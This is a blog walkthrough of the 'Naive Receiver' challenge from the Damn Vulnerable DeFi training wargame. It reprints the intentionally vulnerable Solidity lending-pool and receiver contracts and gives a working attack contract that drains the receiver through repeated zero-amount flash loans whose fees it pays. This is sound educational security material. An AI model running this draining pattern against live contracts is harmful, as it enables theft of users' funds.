moon

moon

Build for builders on blockchain
github
twitter

Defi Hacker Series: Damn Vulnerable DeFi (2) - Naive Receiver

Damn Vulnerable DeFi is a series of challenges focused on DeFi smart contract attacks. The content includes flash loan attacks, lending pools, on-chain oracles, and more. Before starting, you need to have skills related to Solidity and JavaScript. For each challenge, your goal is to ensure that the unit tests for that challenge pass.

Challenge link: https://www.damnvulnerabledefi.xyz/challenges/2.html

Challenge description:

There is a lending pool with a balance of 1000 ETH, offering an expensive flash loan service (a fee of 1 ETH is charged for each flash loan execution). A user has deployed a smart contract with a balance of 10 ETH and can interact with the lending pool to perform flash loan operations. Your goal is to withdraw all ETH from the user's smart contract in a single transaction.

First, let's look at the source code of the smart contract.

NaiveReceiverLenderPool.sol Lending pool contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ReentrancyGuard uses a reentrancy lock to prevent reentrancy attacks
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title NaiveReceiverLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract NaiveReceiverLenderPool is ReentrancyGuard {
    // Apply the Address library to address type
    using Address for address;

    uint256 private constant FIXED_FEE = 1 ether; // Fee for each flash loan execution
		
    // Get the fee
    function fixedFee() external pure returns (uint256) {
        return FIXED_FEE;
    }
    
    // Flash loan method
    function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
        // Get the balance of this smart contract
        uint256 balanceBefore = address(this).balance;
        // Ensure the amount borrowed does not exceed the balance
        require(balanceBefore >= borrowAmount, "Not enough ETH in pool");
        
        // The borrower must be a contract address, not a regular address
        require(borrower.isContract(), "Borrower must be a deployed contract");

        // Transfer ETH and handle control to receiver
        // Call the borrower's receiveEther method
        borrower.functionCallWithValue(
            abi.encodeWithSignature(
                "receiveEther(uint256)",
                FIXED_FEE
            ),
            borrowAmount
        );
        
        // Finally, ensure the balance is equal to the previous balance plus the flash loan fee
        require(
            address(this).balance >= balanceBefore + FIXED_FEE,
            "Flash loan hasn't been paid back"
        );
    }

    // Allow deposits of ETH
    receive () external payable {}
}

This contract first applies the Address library to the address type, allowing address type variables to call methods from the Address library.

It then defines the fee for each flash loan execution as 1 ETH.

Finally, it provides the flash loan method:

  • Ensure the amount borrowed is less than the contract's balance.

  • Use the isContract method to ensure the borrowed address is a contract address.

    function isContract(address account) internal view returns (bool) {
    	return account.code.length > 0;
    }
    
  • Call the functionCallWithValue method from the Address library to execute the borrower's receiveEther method. You can first look at the implementation of the relevant methods inside library Address.

    // target: target contract (i.e., borrower), note that the first parameter when calling library methods is the caller
    // data: converts the method to be called into calldata (contract method calls are done through calldata)
    // value: the amount sent
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        // Ensure sufficient balance
        require(address(this).balance >= value, "Address: insufficient balance for call");
        // Ensure target is a contract address
        require(isContract(target), "Address: call to non-contract");
        
        // Call via calldata (i.e., call receiveEther in borrower)
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        
        // Verify the call result
        return verifyCallResult(success, returndata, errorMessage);
    }
    
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // If the call failed and there is a return value
            if (returndata.length > 0) {
                // Load the return value using inline assembly and revert directly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                // If the call failed and there is no return value, revert directly
                revert(errorMessage);
            }
        }
    }
    

Next, let's look at the contract executing the flash loan, FlashLoanReceiver.sol, which has a balance of 10 ETH.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title FlashLoanReceiver
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract FlashLoanReceiver {
    using Address for address payable;
    
    // Lending pool address
    address payable private pool;

    constructor(address payable poolAddress) {
        pool = poolAddress;
    }

    // Contract method for the lending pool callback
    function receiveEther(uint256 fee) public payable {
    	// The caller must be the pool address
        require(msg.sender == pool, "Sender must be pool");
		
        // Amount to be repaid
        uint256 amountToBeRepaid = msg.value + fee;
        
        // Ensure sufficient balance
        require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
        
        // Perform operations with the borrowed funds (usually arbitrage)
        _executeActionDuringFlashLoan();

        // Return funds to the pool address
        pool.sendValue(amountToBeRepaid);
    }

    // Internal function where the funds received are used
    function _executeActionDuringFlashLoan() internal { }

    // Allow deposits of ETH
    receive () external payable {}
}

Finally, let's look at the unit test file naive-receiver/naive-receiver.challenge.js.

const { ethers } = require('hardhat')
const { expect } = require('chai')

describe('[Challenge] Naive receiver', function () {
  let deployer, user, attacker

  // Pool has 1000 ETH in balance
  const ETHER_IN_POOL = ethers.utils.parseEther('1000')

  // Receiver has 10 ETH in balance
  const ETHER_IN_RECEIVER = ethers.utils.parseEther('10')

  before(async function () {
    // Create three accounts
    [deployer, user, attacker] = await ethers.getSigners()

    const LenderPoolFactory = await ethers.getContractFactory('NaiveReceiverLenderPool', deployer)
    const FlashLoanReceiverFactory = await ethers.getContractFactory('FlashLoanReceiver', deployer)

    this.pool = await LenderPoolFactory.deploy()
      
    // deployer sent 1000 ETH to the pool address
    await deployer.sendTransaction({ to: this.pool.address, value: ETHER_IN_POOL })
    // Ensure the transfer was successful
    expect(await ethers.provider.getBalance(this.pool.address)).to.be.equal(ETHER_IN_POOL)
    // Ensure the fee can be retrieved
    expect(await this.pool.fixedFee()).to.be.equal(ethers.utils.parseEther('1'))

    this.receiver = await FlashLoanReceiverFactory.deploy(this.pool.address)
    // Sent 10 ETH to the receiver
    await deployer.sendTransaction({ to: this.receiver.address, value: ETHER_IN_RECEIVER })
    // Ensure the transfer was successful
    expect(await ethers.provider.getBalance(this.receiver.address)).to.be.equal(ETHER_IN_RECEIVER)
  })

  it('Exploit', async function () {
    /** CODE YOUR EXPLOIT HERE */
  })

  after(async function () {
    /** SUCCESS CONDITIONS */

    // All ETH has been drained from the receiver
    expect(
      // receiver balance is 0
      await ethers.provider.getBalance(this.receiver.address)
    ).to.be.equal('0')
    expect(
      // pool balance is 1000 + 10
      await ethers.provider.getBalance(this.pool.address)
    ).to.be.equal(ETHER_IN_POOL.add(ETHER_IN_RECEIVER))
  })
})

This test case deploys the lending pool contract and the contract executing the flash loan, transferring 1000 ETH and 10 ETH into them, respectively. After our attack code executes, the expected final result is that the balance of the contract executing the flash loan is 0, while the final balance of the lending pool contract is 1010.

The key to this challenge is that executing a flash loan requires a fee of 1 ETH. If we borrow 0 ETH each time and do this 10 times, after 10 iterations, the balance of the contract executing the flash loan will inevitably be 0. However, the challenge requires a single transaction, not 10. Therefore, we can try to write a smart contract that internally loops 10 times to call the flash loan method.

NaiveReceiverAttack.sol

pragma solidity ^0.8.0;

import "../naive-receiver/FlashLoanReceiver.sol";
import "../naive-receiver/NaiveReceiverLenderPool.sol";
contract NaiveReceiverAttack {
  NaiveReceiverLenderPool public pool;
  FlashLoanReceiver public receiver;
  
  // Initialize the lending pool contract and the contract executing the flash loan.
  constructor (address payable _pool, address payable _receiver) {
    pool = NaiveReceiverLenderPool(_pool);
    receiver = FlashLoanReceiver(_receiver);
  }
  
  // Attack method: as long as the receiver has enough balance to pay the fee, perform the flash loan operation
  function attack () external {
    // Get the fee value
    uint fee = pool.fixedFee();
    while (address(receiver).balance >= fee) {
      pool.flashLoan(address(receiver), 0);
    }
  }
}

Finally, in the test file, deploy our attack contract.

it('Exploit', async function () {
  const AttackFactory = await  ethers.getContractFactory('NaiveReceiverAttack', deployer)
  this.attacker = await AttackFactory.deploy(this.pool.address, this.receiver.address)
  // Execute the attack method
  await this.attacker.attack()
})

Finally, run yarn naive-receiver to pass the test.

Full code

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.